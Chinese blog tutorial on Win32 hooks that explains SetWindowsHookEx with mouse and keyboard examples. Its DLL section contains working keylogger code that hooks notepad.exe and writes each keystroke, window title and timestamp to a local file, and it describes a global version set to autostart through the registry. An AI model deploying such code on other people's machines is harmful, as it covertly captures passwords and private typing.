Win32-HOOK技术

一 HOOK简介

1. HOOK技术本质是利用 API 来提前拦截并处理 Windows 消息的一种技术。

2. 运行机制:钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统中,每当特定的消息发出,在到达目的窗口之前,钩子程序就先截获该消息,这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

二 进程[线程]钩子

1. 说明:只对当前进程起作用。

2. 在可执行程序中实现自身进程钩子

 2.1 流程

        第一步 在窗口过程中用 SetWindowsHookEx 设置钩子

        第二步 编写回调函数,即钩子函数的处理过程

        第三步 用 UnhookWindowsHookEx  卸载钩子

2.2 代码示例

//鼠标钩子函数的句柄
HHOOK g_mouseHook = NULL;

//键盘钩子函数的句柄
HHOOK g_keyboardHook = NULL;

//6. 在窗口过程中处理消息(回调函数)
//参数1:消息所属的窗口句柄
//参数2:消息名称
//参数3:键盘附加消息
//参数4:鼠标附加消息
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	g_hwnd = hwnd;

	//注意:所有 xxxWindow 为结尾的方法 ,都不会进入到消息队列中,而是直接执行。
	switch (uMsg)
	{
	case WM_CREATE://窗口创建消息
		
		//设置鼠标钩子
		//参数1:钩子类型
		//参数2:回调函数,钩子函数处理过程
		//参数3:动态链接句柄,若参数4设置为当前进程,则此参数必须设置为NULL
		//参数4:线程ID,GetCurrentThreadId():获取当前线程
		//返回值:成功返回参数2钩子函数处理过程的句柄,失败返回NULL(0)
		g_mouseHook = SetWindowsHookEx(WH_MOUSE, MouseProc, NULL, GetCurrentThreadId());

		//设置键盘钩子
		//参数1:钩子类型
		//参数2:回调函数,钩子函数处理过程
		//参数3:动态链接句柄,若参数4设置为当前进程,则此参数必须设置为NULL
		//参数4:线程ID,GetCurrentThreadId():获取当前线程
		//返回值:成功返回参数2钩子函数处理过程的句柄,失败返回NULL(0)
		g_keyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, NULL, GetCurrentThreadId());
		break;

	case WM_CLOSE: // 关闭窗口
		DestroyWindow(hwnd);//DestroyWindow 会发送另一个消息WM_DESTROY,去关闭窗口进程。若将下面的 case WM_DESTROY 注释掉,点击关闭窗口后,exe 进程不会关闭,只会关闭窗口。
		break;

	case WM_DESTROY: // 关闭窗口进程(exe)
		PostQuitMessage(0);
		break;

	case WM_LBUTTONDOWN: //鼠标左键按下
	{
		//鼠标左键点击坐标
		int xPos = LOWORD(lParam);
		int yPos = HIWORD(lParam);
		char buf[1024];
		//拼接
		wsprintf(buf, TEXT("x = %d,y = %d"), xPos, yPos);
		//弹出窗口显示
		MessageBox(hwnd, buf, TEXT("鼠标左键按下"), MB_OK);
		break;
	}

	case WM_KEYDOWN: //键盘按键消息
		MessageBox(hwnd, TEXT("键盘按下"), TEXT("键盘按下"), MB_OK);
		break;

	case WM_PAINT: //绘图事件
	{
		PAINTSTRUCT ps; //绘图结构体
		HDC hdc = BeginPaint(hwnd, &ps);   // dc   
		TextOut(hdc, 100, 100, TEXT("HELLO"), strlen("HELLO"));
		EndPaint(hwnd, &ps);
	}
	break;
	}

	//返回值用缺省(默认)方式处理
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
//回调函数:鼠标钩子函数的处理过程
//参数1:是否处理该消息?
//参数2:消息的附加信息,例如:键盘按键的虚拟代码、鼠标的消息类型等
//参数3:消息的附加信息,查MSDN
//返回值:
//情况1:return 1 :屏蔽消息:表示当前消息已经处理过了,不再向下传递
//情况2:return CallNextHookEx(g_mouseHook, nCode, wParam, lParam):让消息继续向下传递
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	return 1;//屏蔽消息:表示当前消息已经处理过了,不再向下传递
	//函数 CallNextHookEx 功能:将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
	//参数1:当前钩子的句柄
	//参数2、3、4:与回调函数:钩子函数的处理过程一致
	//返回值:返回这个值链中的下一个钩子程序
	//return CallNextHookEx(g_mouseHook, nCode, wParam, lParam);//让消息继续向下传递
}

//回调函数:键盘钩子函数的处理过程
//参数1:是否处理该消息?
//参数2:消息的附加信息,例如:键盘按键的虚拟代码、鼠标的消息类型等
//参数3:消息的附加信息,查MSDN
//返回值:
//情况1:return 1 :屏蔽消息:表示当前消息已经处理过了,不再向下传递
//情况2:return CallNextHookEx(g_mouseHook, nCode, wParam, lParam):让消息继续向下传递
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (wParam == VK_SPACE)//屏蔽空格键
	{
		return 1;//屏蔽消息:表示当前消息已经处理过了,不再向下传递
	}
	else if (wParam == VK_F1)//F1键卸载键盘钩子和鼠标钩子
	{
		//功能:卸载设置的钩子函数
		//参数1:钩子函数的句柄
		UnhookWindowsHookEx(g_mouseHook);//卸载鼠标钩子
		UnhookWindowsHookEx(g_keyboardHook);//卸载键盘钩子
	}
	//函数 CallNextHookEx 功能:将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
	//参数1:当前钩子的句柄
	//参数2、3、4:与回调函数:钩子函数的处理过程一致
	//返回值:返回这个值链中的下一个钩子程序
	return CallNextHookEx(g_keyboardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
}
1. 在键盘回调函数中卸载钩子

//回调函数:键盘钩子函数的处理过程
//参数1:是否处理该消息?
//参数2:消息的附加信息,例如:键盘按键的虚拟代码、鼠标的消息类型等
//参数3:消息的附加信息,查MSDN
//返回值:
//情况1:return 1 :屏蔽消息:表示当前消息已经处理过了,不再向下传递
//情况2:return CallNextHookEx(g_mouseHook, nCode, wParam, lParam):让消息继续向下传递
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (wParam == VK_SPACE)//屏蔽空格键
	{
		return 1;//屏蔽消息:表示当前消息已经处理过了,不再向下传递
	}
	else if (wParam == VK_F1)//F1键卸载键盘钩子和鼠标钩子
	{
		//功能:卸载设置的钩子函数
		//参数1:钩子函数的句柄
		UnhookWindowsHookEx(g_mouseHook);//卸载鼠标钩子
		UnhookWindowsHookEx(g_keyboardHook);//卸载键盘钩子
	}
	//函数 CallNextHookEx 功能:将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
	//参数1:当前钩子的句柄
	//参数2、3、4:与回调函数:钩子函数的处理过程一致
	//返回值:返回这个值链中的下一个钩子程序
	return CallNextHookEx(g_keyboardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
}

3. 在指定进(线)程中设置钩子 

 3.1 流程

        第一步 在DLL中实现钩子操作

        第二步 在可执行程序中使用DLL函数设置钩子,只要可执行程序不关闭,钩子就一直生效。

  3.2 代码示例

根据进程名程获取进程的主线程ID(默认进程的第一个线程为主线程)
DWORD GetMainThreadIdFromName(WCHAR* szProcessName)
{
	DWORD idThread = 0;         // 主线程ID
	DWORD idProcess = 0;        // 进程ID

	PROCESSENTRY32 pe;      // 进程信息
	pe.dwSize = sizeof(PROCESSENTRY32);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获取系统进程列表
	if (Process32First(hSnapshot, &pe))      // 返回系统中第一个进程的信息
	{
		do
		{
			if (0 == _wcsicmp(pe.szExeFile, szProcessName)) // 不区分大小写比较
			{
				idProcess = pe.th32ProcessID;
				break;
			}
		} while (Process32Next(hSnapshot, &pe));      // 下一个进程
	}
	CloseHandle(hSnapshot); // 删除快照
	if (idProcess == 0)
	{
		return 0;
	}

	// 获取进程的主线程ID
	THREADENTRY32 te;       // 线程信息
	te.dwSize = sizeof(THREADENTRY32);
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); // 系统所有线程快照
	if (Thread32First(hSnapshot, &te))       // 第一个线程
	{
		do
		{
			if (idProcess == te.th32OwnerProcessID)      // 认为找到的第一个该进程的线程为主线程
			{
				idThread = te.th32ThreadID;
				break;
			}
		} while (Thread32Next(hSnapshot, &te));           // 下一个线程
	}
	CloseHandle(hSnapshot); // 删除快照
	return idThread;
}

1. 导出函数:设置钩子
int InstallHook(WCHAR* szProcessName)
{
	// 根据进程名程获取进程的主线程ID(默认进程的第一个线程为主线程)
	DWORD ThreadId = GetMainThreadIdFromName(szProcessName);
	if (ThreadId == 0)
	{
		MessageBox(NULL, L"获取记事本进程的主线程 Id 失败", L"提示", 0);
	}
	//给名称为 szProcessName 的进程设置键盘钩子
	g_hKeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, GetModuleHandle(L"HookDll.dll"), ThreadId);
	if (g_hKeyBoardHook == NULL)
	{
		return 0;
	}
	return 1;
}

2. 导出函数:卸载钩子
int UnInstallHook()
{
	//卸载键盘钩子
	return UnhookWindowsHookEx(g_hKeyBoardHook);
}

3. 回调函数:键盘钩子函数的处理过程
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	//nCode > 0 才能进行处理
	if (nCode < 0 || nCode == HC_NOREMOVE)
		return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去

	//按下F12卸载键盘钩子
	if (wParam == VK_F12)
	{
		UnhookWindowsHookEx(g_hKeyBoardHook);//卸载键盘钩子(焦点必须在调用该DLL的应用程序上)
	}
	else
	{
		//此代码可以只记录键盘抬起,不记录键盘按下
		if (lParam & 0x40000000)
		{
			return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
		}

		//获取当前窗口(活动窗口、顶层窗口)的标题
		HWND hWndCurrent = GetActiveWindow();//获取活动窗口
		if (hWndCurrent == NULL)
		{
			hWndCurrent = GetForegroundWindow();//获取顶层窗口
			if (hWndCurrent == NULL)
			{
				return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
			}
		}

		//获取窗口标题
		TCHAR szTitle[256] = {0};
		GetWindowText(hWndCurrent, szTitle, 255);

		//获取UTC(格林威治时间、全球标准时间)时间
		/*SYSTEMTIME stUTC;
		::GetSystemTime(&stUTC);
		TCHAR szTime[256];
		wsprintf(szTime, L"UTC: %u/%u/%u %u:%u:%u:%u %d/r/n",
			stUTC.wYear, stUTC.wMonth, stUTC.wDay,
			stUTC.wHour, stUTC.wMinute, stUTC.wSecond,
			stUTC.wMilliseconds, stUTC.wDayOfWeek);*/

		//获取当地的时间
		SYSTEMTIME stLocal;
		::GetLocalTime(&stLocal);
		TCHAR szTime[256] = {0};
		wsprintf(szTime, L"Local: %u/%u/%u %u:%u:%u:%u %d",
			stLocal.wYear, stLocal.wMonth, stLocal.wDay,
			stLocal.wHour, stLocal.wMinute, stLocal.wSecond,
			stLocal.wMilliseconds, stLocal.wDayOfWeek);

		//GetKeyNameText 
		//功能:检取表示键名的字符串
		//参数1:键盘消息
		//参数2:缓冲区指针,存储键名
		//参数3:指定键名的最大长度
		//返回值:成功返回字符串长度,失败返回0
		TCHAR szKey[50] = {0};
		GetKeyNameText(lParam, szKey, 50);

		//字符串拼接
		TCHAR sz[1000] = { 0 };
		wcscat(sz, szTime);
		wcscat(sz, L"        ");
		wcscat(sz, szTitle);
		wcscat(sz, L":        ");
		wcscat(sz, szKey);
		wcscat(sz, L"\r\n");

		//MessageBox(NULL, sz, L"按键信息", NULL);

		//将按键信息记录到文件中
		DWORD dwWriten = 0;
		HANDLE hFile = NULL;
		hFile = CreateFile(L"D:\\键盘记录.txt", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (GetLastError() == ERROR_FILE_NOT_FOUND)//文件不存在就新建文件
		{
			hFile = CreateFile(L"D:\\键盘记录.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			static const BYTE unicodeHead[] = { 0xFF, 0xFE }; //写入UTF-16文件标识 
			WriteFile(hFile, unicodeHead, sizeof(unicodeHead), &dwWriten, NULL);
		}
		
		//文件指针移动到文件末尾,追加内容的关键操作
		SetFilePointer(hFile, NULL, NULL, FILE_END);
		
		//将内容写入文件
		WriteFile(hFile, sz, wcslen(sz) * sizeof(TCHAR), &dwWriten, NULL);

		//刷新指定文件的缓冲区并将所有缓冲数据写入文件
		FlushFileBuffers(hFile);

		//关闭文件
		CloseHandle(hFile);
	}
	return CallNextHookEx(g_hKeyBoardHook, nCode, wParam, lParam);//让 hook 钩子传递下去
	//return 1;
}
//在窗口注册消息中设置钩子,在窗口关闭消息中卸载钩子。
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	switch (message)
	{
	case WM_CREATE://窗口创建消息
	{
		//给记事本应用程序设置键盘钩子
		WCHAR szProcessName[100] = { L"notepad.exe" };
		InstallHook(szProcessName);
		break;
	}

	case WM_CLOSE: //关闭窗口
		UnInstallHook();//卸载键盘钩子
		DestroyWindow(hWnd);
		break;

		......
	}
	return 0;
}

三 全局[系统]钩子

1. 说明:对系统中所有的进程起作用。

2. 通过DLL + 可执行程序实现全局钩子

 2.1 流程

        第一步 在DLL中实现全局钩子操作

        第二步 在可执行程序中使用DLL设置全局钩子,只要可执行程序不关闭,全局钩子就一直生效。

3. 举例:使用全局钩子实现键盘记录器,通过修改注册表设置开机自启动,记录键盘输入。

完整的代码在绑定的资源中,审核通过后可免费下载。

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值